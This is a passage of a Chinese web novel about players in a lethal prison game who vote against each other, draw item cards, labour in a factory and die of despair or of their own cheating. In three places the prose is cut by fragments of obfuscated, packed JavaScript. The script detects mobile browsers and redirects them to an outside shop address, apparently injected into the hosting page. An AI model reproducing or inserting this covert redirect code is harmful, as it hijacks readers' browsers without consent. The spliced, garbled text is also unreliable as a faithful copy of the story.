“你确实不该投我。”梅子喻说道:“这四点对于你来说很重要,不过作为攻击只是很轻微的一点伤害。” “……”酒精叹了口气:“我不知道,我只是……听光芒一说就着急了,以为你死了我就能有一口饭吃。” “我死了你也不会有饭吃的。”梅子喻说道:“你的信用度太低了,你上面可能有五个人,但凡有一个选择了两份,你就会吃不上饭。那天每个人都说了一个分数,我本该受到攻击但没受到的有15点。我猜是有一个人没投,四个人都投了。这说明,其实可能有四个人都没吃上饭。” 酒精愣了愣:“什么?” “如果有一口饭吃,又为什么要攻击我?信用度留着抢饭不好么。不就是因为你们都以为我作为第一名吃掉了你们的饭。但我确实每餐都只选了一份。我猜就是没攻击我的那个人,信用度很高,并且把你们的饭都抢走了。” 酒精没说话,似乎在思考着什么。 梅子喻见他一副半死不活的样子,还是忍不住多说了一句:“你不是还有10点吗,要不抽个卡试试?” “抽卡?” “最开始规则不是说了吗,可以用10信用度抽一次卡。” 这局游戏里,信用度十分宝贵。就连梅子喻这样信用度富裕的玩家都没用过抽卡,从酒精茫然的神情来看,更是没有尝试过了。 “抽卡真的会有用吗?而且抽卡完,我就一点信用度也没有了……”说到这里,酒精痛苦地闭上了眼。他其实也清楚,现在的10点信用度也只能让他苟活到今晚而已。如果用掉抽卡,或许还有一丝希望。 当然,也可能更快地将他送入死亡。 “你随意,我只是觉得……加工厂这个工作应该有不少玩家用了抽卡。不然为什么他们会做的这么快。” “……他们作弊了。”酒精顿了顿,笃定地、愤怒地说道:“他们作弊。” 或许,不能说他们作弊,只能说酒精不敢赌。从一开始就不敢赌用掉信用度换来的是能带来更高收益的卡还是连续几天的没饭吃掉血。 真正可以被算作“作弊”的,可能是梅子喻这种误打误撞赎罪成功的玩家。 “听你的。”酒精忽地坐直了身子,眼里又重新焕发了一丝光彩:“我试试。” 梅子喻略有不适地错开目光。 就算到了赌上自己的全部的一刻,却还要给这份豪赌冠以一个“听你的”的名号。 他要是赌输了,多半会把自己的死亡赖在梅子喻的身上。只是,也没什么影响罢了,只要她不接受这份诬陷,从心理自洽,酒精也无法拿她怎么样。 他在手机上操作了一几下,看着屏幕发呆。 虽然不想为他的死负责,梅子喻还是十分好奇,见他久没有反应,问道:“是什么卡?” “酒精畅饮卡。”酒精手上出现了一瓶酒:“可以一直喝。” “是补血的?”梅子喻想起了上一局自己抽到的无限血药转化杯。 “好像……不是。”酒精脸上又出现了茫然的神色:“卡里没说能加血 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他之前说,要投她15点来着。 不知何时,羽毛也停下了手中的工作,提防地盯着他们。 酒精想:他也放弃努力了吗?…… 不,不对……他没必要放弃,因为他…… 因为大屏幕上列着他的名字。他位列前茅。他能分到很多的信用度,每一天都是。 他就是那个没有投梅子喻、分走了其他所有玩家食物的罪魁祸首。 “羽毛……”酒精颤抖着喊道:“你为什么要作弊?你为什么要害我们?你为什么……” 话说出口,自己都觉得可笑。没有为什么,因为每一个人都想活下去,并为了活下去而用尽全力。 先要放弃的人明明是他自己。 一直偷听没有说一句话的羽毛忽然冷笑一声,说道:“作弊的人是她吧。” “……”梅子喻不懂,这矛头怎么又指到自己头上了。 “你今早刚来的时候信用度是5,为什么现在信用度是98?你明明没在工作,而且工作是在晚上统一结算。你用的什么手段作弊?” “你们……”酒精面如死灰,似乎已经说不出什么话了。 看来,羽毛已经抽过卡了,而且得到了能看到其他人信用度的道具。 梅子喻看向大屏幕上羽毛的排名:五十名。 这个名次,大概就能将他自己维持在同一桌排第二名的信用度。看他工作的动作也没有速度多快,多半还有其他增加工作分量的道具。 毕竟他信用度高的话,就有余地多次抽卡了。 说起来,是工作一分、得到十分的人更可恶,还是明明没有工作、却信用度接近满分的人更可恶? 酒精在死之前,会更恨羽毛,还是更恨她? ——梅子喻明知道酒精的死与她无关,却忍不住地想着这件事。 或许只是有些好奇罢了。她自己濒临死亡时,也曾不自禁地责备过诗童他们没赶来救她。 不过若说真正的死因,也只能怪酒精自己。 梅子喻并不准备在他死之前说上什么。死亡已成定局,怪罪谁都没有意义。但羽毛见她不言语,却好像觉得自己占理了一般,说道:“酒精。害死你的人不是我。是她。” “……” 梅子喻很想问他,说这话有什么必要。但她也清楚,羽毛说出这话,不仅仅意味着他在出气,更可能的是,自信。 他知道酒精马上就要死了。而且不知为何,他也相信自己的信用度能打败梅子喻。 所以他才敢说出这样的话。 而他说今早她的信用度是5,说明他的道具可能并不是之前就有,而是今天新抽到的。 梅子喻微微蹙了蹙眉,对酒精说道:“你的罪名是什么?” 羽毛没想到她会说这样的话,脸色微变。 酒精从死亡将临的阴影中挣扎出来,露出一丝期望的神色,挤出细微的声音来:“……清醒罪。” 梅子喻问道:“那你为什么不赎罪呢?” 38. 加工厂三、酗酒 ——赎罪。 酒精那因濒临死亡而失去理智的大脑瞬间运转起来。他的罪名是“清醒罪”,那只要醉酒,就可以赎罪。 代价是麻木,得到的却是生存。没人会说,这是一个不划算的买卖。 尤其是对于一个将死之人。 在死亡威胁面前,酒精没有丝毫犹豫,猛地仰头吞咽,一股劲地喝下了几大口酒。苦辣的液体涌了进去,随着用力灌下的力度,成了一股强/暴他喉间的柱体,填满他的喉管和意识——他顺从地服下,任由疼痛一路滑到胃里——他不害怕这样的疼痛,甚至有些欣喜。喝下去,喝下去吧!等它们进入自己的身体,等他服下这瓶意识的麻药,就不用再畏惧死亡,也不用忍受无尽的简单重复对大脑的刺痛。 那时他会是一个无罪之人。或许他会勤奋地工作,努力地劳作,成为流水线里最厉害的人。或许他不再思考后,便能加快手中的动作,超越那些用着道具作弊的人,变成排行榜的榜首。 咕嘟——咕嘟—— 他大口地吞下了一瓶,又一瓶。酒没有尽头,只要他想,可以一直喝下去。 中毒的人总是饮不完解药的。他不知自己喝下去了多少,只是再次俯下头时,世界已开始颠倒。他恍惚看见自己的血量卡在了10,没有继续下降,信用度则因为他虔诚的赎罪而上升了一个点。 好起来了。 酒精哭着笑起来。或许也没有哭,毕竟脸上的液体如此滚烫,大约只是瓶子中洒出的一些液体罢了。他伸出舌头舔掉唇边的几滴,确实是苦涩的。是酒的味道。 “谢谢……谢谢。”他喃喃地说道,想要看向梅子喻的脸,却无法对焦。他的大脑慢慢地停下了转动,就像他快要死的那时候,什么也没再想,但却没有那样绝望了。 “你怎么样?”梅子喻问他。 “我很好。”酒精说道。他感觉到自己呼出的气息都带着苦味,闻到后却觉得一阵舒爽。他的身边充斥着让他不再痛苦的快乐因子。 他将酒瓶放在一边,转过身去:既然苟住了这条性命,那便要争分夺秒地继续工作。如果他不继续劳动,或许会再次因为罪名而被扣掉这得来不易的信用度。 这一下转身,他几乎躺在流水线上,但很快又稳住了身子,拿起了篮子,开始分类。 这份工作实在过于简单,简单到一个醉酒的人也可以做得很好——偶尔小小的失误并不要紧。他只需要重复、重复、然后重复更多次就可以了。 第一篮、第二篮、第三篮……他的动作变得飞快。那大概并不因为他醉了,因为他的世界还是模糊的。他看不清手上的东西,但因为肌肉记忆,还是能完美无瑕地操作着。速度快起来,只是因为他不会因为多余的思绪耽误进度:他不会工作一会就停下来休息,也不会因为对反胃感的思考而动作迟缓。 他没有吃什么东西,本就没什么可吐。 但做到第十次后,那种熟悉的恶心感不知为何又翻涌上来。似乎和他吃了什么无关,他只是想吐。 只要在做着这件做了无数次、还仍旧无穷无尽的工作,他就想吐。 酒精急忙拎起酒瓶,又猛灌了一口。 只要有酒,他可以一直……一直这样做下去。 梅子喻和羽毛都有些呆愣地看他这样激情地饮酒工作,视线交错时,无意中对视了一眼—— 羽毛忽然转过身,开始了他的工作。 ——他是意识到这么一会没工作,自己的进度已经开始落后了吗? 又或者,他想到酒精不会死,会联合梅子喻一起攻击他? 这样的话……他大概会拼命地工作直到得到最高的分数,这样,他不仅有不怕被别人攻击的底气,也有攻击别人的能力。 似乎是被酒精那股疯狂的劲感染到,梅子喻也感到精神一阵紧绷,虽说她的信用度十分够用,但却仍觉得自己好像被远远落在了后面。 她一时有些茫然,看了下信用度,现在是90。距离夜晚还有好久,她有自信能进入赎罪的状态,将信用度再拉回来。只是,现在就要继续吗? 旁边两人都疯狂地干活,在那股狂热的氛围下,似乎没有不工作的道理。 梅子喻又洗了几篮眼球,刚进入能涨信用度的状态,忽然听见一阵干呕的声音。 “呕——呕、咳咳咳……” 酒精的酒瓶跌在地上,碎掉了,流出一小摊红色液体来。 他的手虚握着端在空中,维持在想要喝酒的状态中,不停颤抖。 他不小心将自己的生命来源打翻了。 不,他不该这样害怕的。他的信用度是5,血量也没有下降。只要继续工作,这酒有没有都一样。 但为什么他像是想要吸食毒物的瘾君子一样,无法将自己的视线从破碎的酒瓶上挪开? 他上瘾了吗? 这酒比最苦的中药还要苦上一万倍,比最辣的辣椒还要辣上一亿倍。如果可以,这样难喝的要死的酒他一口都不想多饮。 他只是…… 他只是想要继续工作。 如果不喝酒,就没法维持不痛苦的状态,也就没法继续工作。他甚至不敢将自己的目光转移到工作台上的篮子上,因为他清楚地知道,只要看一眼,心脏就会开始疼。 没了麻木精神的药剂,工作再一次变得很痛苦。 酒精俯下身,想要舔掉地上的液体,但身子一晃,没走几步就向后倒去,重重地砸向邻座。 羽毛也没料想到这醉汉会突然摔在自己身上,连人和椅一起仰翻。 他和酒精抱作一团跌倒在地时,原来坐着的位置上,站了个机器人。 梅子喻望着这一幕,愣了一下,立刻意识到——这是羽毛的替身。 只要做出一个替身,和替身一起工作,工作量就是翻倍的! 怪不得羽毛看起来也没有速度很快,却可以在排行榜前列有名。不过…… 梅子喻忽然想到什么,再次看向排行榜。上次看的时候,羽毛还在五十名,现在已经升到了三十名。 排名上升的这么快,他在和他们对话后,又使出了什么新手段? 流水线上有其他玩家望了过来,其中不乏部分露出了惊讶的表情——虽然很多人都在偷偷用替身增加工作量,但并不是所有人都意识到可以用这种方法的。 见到自己替身暴露,羽毛慌乱了几秒,但立刻冷静下来。 这不是作弊,是正当手段。酒精说那是作弊,是因为他不知变通,没有勇气,而且能力太差。 被发现了,也没什么。这只是公认的潜规则罢了。 没有主人的控制,机器人替身呆滞地一动不动。羽毛刚要站起身,却被酒精拉扯着再次躺倒在地,纠缠之中,位置上的机器人也被扯到一旁。 还有一个机器人站在原地。 梅子喻:“……” 这下她知道了,羽毛之前利用替身的双份工作量维持在50的排名,被酒精刺激到之后想要快速提高分数,于是再次使用替身,工作量直接翻n倍。 他的位置上可能站着两个……或者不止两个机器人。只是他之前害怕排名太靠前暴露自己,在前几天没有使用出来罢了。 “呕——” 酒精又一次吐出来,吐了羽毛一脸。 羽毛正要暴躁地将他推开,余光却瞥见了屏幕上自己的排名。 40。 41。 45。 …… 就算他几分钟没工作,排名也不该下降的这么快! 而且替身暴露后,那些没有意识到这些规则的玩家居然没什么反应,只是在最开始看了他一眼,然后回过头去继续忙碌工作。一切都太平淡、太正常了,正常的像刚才这一幕没有发生一样。 羽毛忽地浑身一颤,他意识到了一种可能性:会不会那些之前没有用替身工作的玩家,现在都开始使用替身了? 毕竟他抽到的替身卡只是个SR卡。 他会在一开始领先,也只是因为他有着用为数不多的信用度去赌抽卡的勇气罢了。但现在大家都知晓了这样的规则,都这样利用规则提升信用度,他的优势已经不再。 不行,他必须要把排名提升上来,不仅仅是维持在50,更要进入前几名!只有信用度足够高,才不用害怕今晚回去会被梅子喻和酒精针对! 羽毛仓皇地爬起来,从手机上调出替身卡。 机器人不会自主执行命令,只会重复主人的行为。它是一张SR卡,是因为它可以无限叠加。 没有上限。 也就是说,如果他愿意,工作量可以在一瞬间扩大无限倍。 周围的玩家都麻木地继续着工作。表面的和平与寂静之下,暗潮涌动。羽毛看到自己的排名已经掉到了60多,而那个罪魁祸首,酒精、不、真正的罪魁祸首,梅子喻,还一脸若无其事地看着他。 她没有在工作,排名也没有上升,信用度却这么高,一定是因为她用了除了替身之外的手段。这个手段如此巧妙,没人发现,也没人效仿。她不必承担作弊的骂名,也不必担心不工作而排名下滑,她就只是站在那里,对酒精说了几句话,就有了高信用度、同伙、和不被竞争对手注意到的隐蔽。 什么好处都让她得到了,而偏偏自己说了句针对她的话。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208974|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不该愤怒,不该激动。羽毛努力地平复着自己的心情。多余的情绪波动没有意义,现在最重要的是,提升排名。 既然替身的事情已经暴露,还多了两个同桌的敌人,那也不必再藏拙。 羽毛垂下眼,注视着手机屏幕里卡牌的“无限倍”进度条。他最后犹豫了一秒,将滑杆拉到最大。 99999……+ 玩家之间不会互相攻击,所以他不用担心任何事。 瞬间,他的排名瞬间飙到了第一名—— 排名并不会播报给其他人,在很短的一段时间内,除了梅子喻,甚至没人注意到这个飙升到榜一的作弊玩家。 羽毛笑起来,抹掉额头的汗水。 早就该这么做了。 他瞥向还在地上苟延残喘的酒精。刚刚酒精的信用度是5,现在变成了2。 是因为没有在赎罪,所以信用度下降了吗? 没有了酒的帮助,酒精没法维持着不清醒的状态,也就没法赎罪。 羽毛心里暗暗嫌弃着这个没用的玩家:只是心理状态而已,还要靠着酒的麻醉来达成。酒精注定是个会死的玩家,就算同样抽到了无限的道具也无法挽救他的命运,因为他无法脱离酒而独自麻木下去。 谁叫他得了这么个“清醒罪”,人却一点都不清醒,不知道在生死面前,精神上的痛苦都是小事。 羽毛用袖子擦掉脸上的呕吐物,踢了酒精一脚,低声道:“去舔吧。” 地上还有些酒呢。 如果现在躺在地上的是他,就算再狼狈不堪,他也会爬过去舔。毕竟,这已经是生存最后的出路了。 酒精却好像傻了一般,躺在原地没有动。 第二次濒临死亡,他和上次一样眼神呆滞,只是这回,似乎又有些微妙的不同。 他的双眼未曾离开过梅子喻,而梅子喻也是一样,他们对视着,都有话想说。 梅子喻没有对一身肮脏的他露出什么厌恶的表情,也没有像其他玩家一样忙着工作没时间看他。她有些疑惑的样子,蹲下身来,在他面前挥了挥手,确认他还有意识后,问道:“你不争取了吗?” 争取什么?争取活下去吗? 酒是无限的。只要他爬过去一直舔流淌在地上的液体,或许他也能活。 他张了张嘴,无尽的话涌到嘴边,最后变成一句:“你会吗?” 虽然没有问出具体的话,但她知道他在问什么。 ——如果是你的话,你会去舔吗? “我会啊。”梅子喻一脸理所当然地说道。 酒精一愣,然后控制不住地悲苦地笑了笑。他怎么会不知道呢,这里所有人都会这样做。 他们都努力地活到了现在,没人会在最后关头放弃存活的希望。在这种还有活下去的可能性下放弃,对不起之前拼命那么久的自己。 可是,他真的不想继续努力了,怎么办? “我不会。”酒精感到一股湿润的液体滑到嘴边,他再次尝到了,苦涩的,确实是眼泪。“这太恶心了,我放弃。” 不论是舔地上的酒,还是继续这样无尽的劳作,亦或者靠着一口难以下咽的液体吊着一条烂命,都很恶心。 虽然坚持到了现在,但如果实在抵不住这样的痛苦,放弃也没什么不好。 “人不是必须活着,对吗?”酒精问道。 梅子喻似乎有些困扰,又有些好奇,皱着眉想了一会,没有正面回答,而是问道:“你现在感觉怎么样?” “我感觉特别好……”说不上是释然,还是痛苦的表情,“我解脱了。” “你感觉不错就行。”虽然她不理解,“这确实令人痛苦。这样的工作,又有谁不会觉得痛呢。或许只有那些不会思考的替身吧。” “嗯。” “恭喜你了。” 恭喜你获得解脱。 酒精烂在了地里,与呕出的酒精一起。死之前或许是笑的,或许是哭的,也许释然背后也有无奈,也许死之前最后一秒也有后悔,但也无人知晓了。 梅子喻心里生出一种奇怪的感受。灰烬死的时候她哭了,此时并未流下一滴眼泪,但觉得胸口酸酸的,不悲痛,却很在意。 她茫然地抬头,见羽毛也是一脸复杂地看着酒精的尸体。而站在他身边的小机器人本应该埋头工作,此时却不知为何,朝向了她的方向。 那机器人看着她,说:“我不要工作。” 梅子喻以为自己听错了,羽毛也震惊地转回目光:“你说什么?” “这里,还有这里。”机器人指了指自己的胸口,又指了指自己的脑袋,说道:“我也会痛。” 39. 夜晚三、监狱合并 绝大部分替身,都没有思想,没有自我意识。 从羽毛诧异而惊恐的表情来看,机器人也是这样普通的替身。只是不知为何,突然说出了这么一句像人的话。 梅子喻想起来,自己还有个成就buff,是说服替身。 到达说服的终点之前,自然先有一番辩论。 “你说的不对。”机器人说道:“从未有人在意过我们的感受,就这样无限制地操控我们,还试图掩盖我们的痛苦。你一点都不了解我们,又凭什么妄下定论。” 梅子喻不知它为何不去攻击操纵自己的主人,而去喋喋不休地和她诉苦。就因为她说了那句“只有不会思考的替身不会痛吗”? 机器人简陋的五官无法做出更多的表情,只能上下开合的嘴快速波动起来,发出哔哔啵啵的机器音,像是想要和她展开长篇大论的争辩而输出语句中。 梅子喻无意和它们讨论替身的感受,抢在它开口之前,耸了耸肩,说道:“不喜欢就不做,你又不会死,罢工好了。” 颇为随意的一句,却让机器人停住了。 哔哔……哔哔…… 呆滞的铁壳脑袋里传来电波的声音,像是正在思考这句话。 很快,无意义的机械音组成了两个清晰的字眼。 “罢工。”机器人重复道:“罢工。罢工。罢工……” 羽毛一脸惊悚,急忙打开手机,想要收回卡牌,那数量9999+的拖拽条却完全无法拉回来。 “不做了,罢工!” 一声忽然带了丝情绪、高昂而响彻加工厂的电子音后,机器人一把掀翻了流水线上所有的篮子,高举双臂,向出口跑去。 它跑走了,原地还有一个,同它一样喊了一声“罢工”,奔跑起来。 一个又一个重叠的机器人齐声呼喊着口号,向四处奔跑。再渴望信用度的玩家在此刻也不由得停下来,惊诧地看这些忽然失控的替身满地乱跑,将加工厂扰得一团乱。 “罢工!罢工!罢工!罢工!” 羽毛忽然想起,他的罪名是“怠惰”。 他拥有无数的替身,工作效率是无数倍,但如果没有赎罪,扣掉的信用度也会是无数倍。 他的脸色倏地变得苍白。 …… 死亡只在意识到这一切后的一瞬间。 他甚至只来得及转头面向梅子喻,张开嘴,遗言都未吐出来,就原地死去了。 成为榜一只要一分秒,而死亡也一样迅速。 梅子喻看着地上那滩尸体,又看看四周乱跑的羽毛替身,心想:看来,替身意识觉醒后,就算主人死了也能够继续存活。 对于羽毛的死,她只是有些意外,倒没有太多感触。 不过,既然同桌的两人都已经死去,那就把信用度拉满算了。左右回去也会成为被攻击的对象,不如将信用度提到最高。 …… 这天的工作结束时,梅子喻的排名还在屏幕之外,信用度则是100。 她早早地回到座位,没过多久,其余三人陆陆续续赶了回来。 当初的六个变成了现在的四个,空出来的两个位置十分显眼。直到狱警为他们端上食物,才有人意识到:那两人可能不会回来了。 他们几乎是同时看向梅子喻——这次他们留了个心眼,记住了她选择的路。 选这条路有三个人,却只回来了一个,无论怎样想,活下来的那个都十分可疑。更别说这人昨天是被众人攻击的对象,很难不怀疑,她是不是在工作中用了什么手段报复他人。 虽然,她也只是一个众矢之的的受害者。 光芒这次甚至等不到第二天早上,火速吃完了饭,便迫不及待地对梅子喻说道:“我明天会投你。” 又是当着所有人的面,号召众人一起投她。只是,有了上次失败的经历,不知这次还能否号召成功。 梅子喻立即回击道:“我明天也会投你。” 光芒顿了顿,补充:“我会投你50点。” “我会投你51点。” “……” 其他三人的目光变得微妙起来。 他们当然渴望投掉现在排名第一的人,不过现在并没有明确的证据说明,谁的信用度最高。而比较可疑的梅子喻和光芒表示要互投,最佳的结果当然是他们各投出50点,然后两败俱伤——如果没有唯一的攻击对象,其他人根本没必要跟投。 光芒还要说些什么,忽然被广播打断:“今日囚犯人数减半,进行监狱和餐桌合并。” 到了第三天,因为没吃上饭而被扣掉血的玩家、或者被同桌其他人围攻的玩家已经过半。 …… 梅子喻按照原路回到牢房,门牌号变成了“212&248”,里面有两张上下铺。左边的床位附近已经站了两名玩家,听到动静,都回头望去。 “儿童文学!”梅子喻惊喜地喊道,两步快跑上前,正要打招呼,诗童忽然扑上来抱住了她。 这实在是艰难的三天。从诗童那憔悴的面容来看,她这段日子过的很不好。 梅子喻很少与人这样亲密的接触,不由得有些僵硬,手悬在诗童的背上,隔了许久才压下去,轻轻抚了两下,问道:“你还好吗?” 诗童长长地叹了口气,从她怀中站起来,摇了摇头。 没能说话,大概是信用度太低的缘故。 梅子喻又问:“你的血量还差多少?” 诗童伸出手掌,又攥拳。 这是五十的意思? 这样的话,如果明天早晚没吃上饭,就会被扣光血。可如果她信用度低到话都不敢说的情况,大概也分不到食物。 梅子喻蹙起眉,心道,得想个办法,让诗童的信用度提起来。正巧,四个工作她已经换了三次,也是时候去最后一扇门了。 记得同桌的春笋说,那个地方是“镜子迷宫”。光听名字没什么可怕,但从春笋和诗童的反应来看,会是个很糟糕的工作。 “咳咳。” 正思考时,角落里另一位玩家突兀地咳了两声。梅子喻抬头看去,惊讶道:“……星星?” “好久不见。”星星朝她微笑着说道。 她和星星没什么交情,此刻没有任何再见面的感动,只是想起他前几天给她发过的消息,叫她去镜子迷宫里玩。 现在还看不出这家伙实力深浅,不过从游刃有余的笑容来看,信用度是不会太低了。如果明天在镜子迷宫里和他相遇,还是谨慎些比较好。 过了会,男鬼也回到了牢房,和星星与诗童对上视线时,脚步一顿,说道:“看什么看?” 他在上一局游戏里杀了太多的猎物,对于这一两个普通玩家根本毫无印象。 他语气很冲,心情不太好的样子,本想阴阳一番,瞥见梅子喻正紧盯着他,又闭了嘴,躺回床上,没再说话。 诗童无言地握紧拳头,怒视着他的背影,身子微微颤抖。梅子喻这才想起来,上一关里,男鬼杀了诗童的好友。 虽然没过去多久,但这些天经历了太多,上个游戏中发生的事情恍若隔世。 广播播报:“今夜规则:夜晚请不要说话、打字、表达与思考。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208975|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>夜晚的规则又缩圈了。 梅子喻面色凝重,和诗童交换了个眼神,都回到了自己的床上躺着。 这几天,他们已经习惯了晚上不能说话,也没什么交流的欲望,看起来一切如常。梅子喻刚想思考下“不能思考”是什么感受,还没来得及想出来什么,忽然失去了意识。 不知过了多久,梅子喻醒了过来。 她的头发左右分成两缕,撑着床支起,让她的上半身坐了起来。她被自己身体的动作唤醒,睁开眼,看着牢房里的一切,但却觉得大脑一片空白,无法理解: 男鬼的手拼命地向墙上敲击,但却在碰上的前一瞬间收回来。几次作势要敲之后,又猖狂但无声地大笑,将手狠狠地扇到自己脸上——触碰到的前一瞬间,手复又停下了。 诗童则不断确认被子的位置,紧紧抱在怀里,身子如过电一般颤抖,整个被单都她的眼泪浸湿,但即使哭成这样,也无法发出任何声音。 星星则端坐着,看着梅子喻。 只是在注视着她,其他什么事情也没做。 梅子喻大概能意识到他们在做什么——男鬼的人格在和灰烬做斗争,灰烬的人格想要敲墙,男鬼的人格则想要扇自己耳光,一样的发癫;诗童在哭泣,似乎是想要拥抱谁;星星则只是看她。 而她的头发撑着身体,起身下床。她附身拾起几日前落在地上的玻璃碎片,尖锐的利口在指间盘绕了几圈,猝不及防地割向自己的喉咙。 她的身子则像和手不同的个体一般,本能地躲闪开,在地上滚了一圈。 握着碎片的手再一次割向跳动的大动脉。 一次,又一次地自杀,然后逃生。 她没觉得自己在做出疯狂的失控举动,过了一会,就在这样的自我斗争中睡过去了。 第二天,她从冰凉的地板上醒来,呆坐了好一会,还在想昨晚看到的那些是做梦还是现实。 其他三人纷纷起床,脸上都有些疲惫,但神色如常,似乎没人知道昨晚发生了什么, 梅子喻更加怀疑自己只是做了个梦。但进入游戏后,她就再也没有做过梦了。 …… 早餐前的投票环节,光芒看着合并餐桌后新来的两个玩家,犹豫了一瞬,但还是按照原计划,带头声讨梅子喻。 他怕新来的两人不知道情况,指着梅子喻,对他们说道:“把第一名打掉,我们才有饭吃。”这次他换了更为详细的说辞,试图说服其他人跟投,“上次我投了45点没有起效果,所以这次我会投50点。就算我会死,我也会投出这么多。” 诗童皱起眉,说道:“不。” 光芒一愣,没想到她会如此果断地拒绝。一般的思路,都会表示同意,然后背地里不投票,这样自己没有损失,还有可能诱导别人投票,坐享其成。 看来,是这新来的玩家脑子不清醒。 他转过身,正准备对另一个新人说话,却听星星抢在他之前说道:“我也不投。大家的信用度都很宝贵,你为什么要教唆别人用掉?你这么想投掉第一名,就直接用掉100分好了。” “……” 光芒面色不善地闭上嘴。一桌一共就六个人,两人都不站在他这边,就已经没有继续争取的必要了。如果不是一边倒的局势,投票都只是单纯损失自己的信用度而已。 他还有90点信用度,但这局也不准备投梅子喻,反正自己也还能吃得上饭,就明早看情况再做决定。 狱警端上早餐,和前几日一样,投票,宣布结果—— “投票结束,现在公布结果:玩家光芒解脱。” 40. 镜子迷宫一、游玩模式 “什……”光芒猛地站了起来:“谁投了我?!” 他愤怒的目光立即锁定了梅子喻,却见她也有些惊讶,一时难以相信:如果她都没事,别的玩家又有什么理由攻击他? 但没有时间留给他思考了,这样仓惶的几眼之间,血量已经降到0。不甘的最后一句话还未喊出,人就死在了原地。 这下,是五个人分五份早餐了。 广播播报道:“今日规则:找到你犯罪的原因。” …… 早餐过后,照例是工作。 到了镜子迷宫通路的门口,诗童惊讶地看看门,又看看梅子喻,摇了摇头。 梅子喻说道:“我和你一起。” 诗童面容憔悴,说道:“不要来。” “你信用度太低了,我想帮你。而且,我也没有别的选择。”梅子喻指着另三条路,“那些工作我都做过了。” 她已经在三份工作中拿到了满信用度吗? 如果是她的话,或许不会为那痛苦所困,能从这镜子迷宫中找出一条出路来…… 诗童眼神中似乎有些释然,握住梅子喻的手,和她一起踏入了那条黑暗之路。 星星一直站在他们旁边,立即跟了上去。 …… 黑暗的尽头,是一扇电梯门,上面显示等待中。 同时进入的三人并肩而立,这里已经进入了工作的场合,拥有肆意说话的权利。趁着不知还有多久的等候时间,诗童先说道:“六个人一局,一会我们会在电梯里再看到三个人。” 梅子喻点点头,不过比起游戏规则,她更好奇的是—— “你投光芒了吗?就是今天死去的那个人。” “我投了……2点。”诗童说道。 “我投98点。”星星微笑着跟着说,“我们两个用这方法干掉四个人了——算上这次的,是五个人。” 见梅子喻一脸惊诧,诗童解释道:“他能把每天都分数一直控在99。” 信用度拉满已经很难了,他居然还能控分? 不过更让梅子喻意外的是他们达成了这样坚实的信任——只要两人加起来凑出100分,无论如何都能杀死一个玩家。在这个充满怀疑和自私的游戏里,每次投出时都是对所有人的一个考验:能否信任那个和自己达成合作的人。 诗童看出她表情有些微妙,说道:“扣2分对我来说没什么损失。他则是不想信用度满分离开这个工作,用掉大量分数反而有利。” “你为什么不想离开?”梅子喻问。 星星望着她的眼睛,说道:“因为我想在这里等你。” 梅子喻打了个冷颤,向后一步,离他更远了。 幸好电梯门叮的一声打开了,不然接下来,气氛将变得十分尴尬。 里面站着三个玩家:男鬼、龟壳和面包。 都是之前斗兽场的老面孔了,看来他们是找到了什么更有效的诀窍,在昨天得到了满信用度。 冤家路窄,诗童一见男鬼就再难恢复平静,虽然面上没有显露出来,但捏着梅子喻的手控制不住地握得更紧。 男鬼瞥他们一眼,目光最后落在诗童与梅子喻紧紧交握的双手上。 “……”他沉默了。 龟壳则主动凑过来,对梅子喻说道:“我把你讲的方法告诉了面包,我们彻底掌握技巧之后,后面变得很顺利,尤其我和面包这样开始评价特别低的,只要有一次表现很出色,信用度就拉满了。” 男鬼冷笑了一声,“还不是靠我。” “唔……”龟壳对此不置可否,“后面变成了团队赛,我们几个人一起打十头怪兽。他一个人杀了九个……” “我杀了十个。”男鬼满脸不忿:“你们只是捡尸——” “那不重要,赢了就行。”梅子喻打断他,问龟壳:“你们为什么选这条路?” “我和面包看你来了,就跟过来了!上次你一下就找到了诀窍,这次应该也……” 男鬼又一次抢过话头,阴森森地盯着梅子喻的眼:“对,我也是为你来的,为了杀了你——” “你不是杀人犯吗?杀人不掉信用度?” “……”男鬼被呛得失语片刻,才说:“那是昨天的规则。今天我就可随心所欲地杀人了。” 梅子喻说道:“别到时候你杀了一个,被杀的人还没死,你自己先死了。” “……” 龟壳憋不出笑了声,被男鬼一眼横过去,抿住嘴不敢再笑。 自动运转的电梯停下来,几人不再闲聊,走出电梯。 一个刚好容下六人的狭窄走廊,面前六个像是魔术室表演道具一样的入口,厚重的红色帘子遮挡住矮矮的门。这里没有狱警,每个门口都贴着一个游戏说明。 “ 镜子迷宫游玩守则 1.在进入时,每个人需要进入不同的路线,但你们之后可能会在某处汇合; 2.躲避人偶的追杀,否则你会死。人偶的行动力取决于你对镜子的选择。如果你打败了人偶,你可以控制它们; 3.当没有路时,可以通过选择,将镜子变成一条路; 4.在迷宫中行走的路径越长,得到的信用度越高; 5.迷宫有出口; 6.玩家可选择游玩模式,少数服从多数; 合作模式:玩家可掠夺人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 